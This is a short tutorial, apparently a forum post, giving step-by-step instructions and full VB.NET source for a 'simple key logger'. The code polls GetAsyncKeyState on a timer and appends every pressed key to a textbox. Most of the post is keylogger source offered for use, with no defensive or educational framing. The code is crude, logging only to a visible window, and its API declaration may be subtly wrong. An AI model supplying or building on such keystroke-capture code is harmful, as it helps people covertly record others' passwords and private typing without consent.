{tut} How to make simple key logger
Im going to show you how to make a very simple key logger
Add the folowing to a form
____________________
1.Timmer
2.Text box(multi line) cover entir page with ith
Step2.
Make the timer enabeled and with intervels of 1
step 3
Select all code in the form deleate and copy and past this
Quote:
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
Now your finished
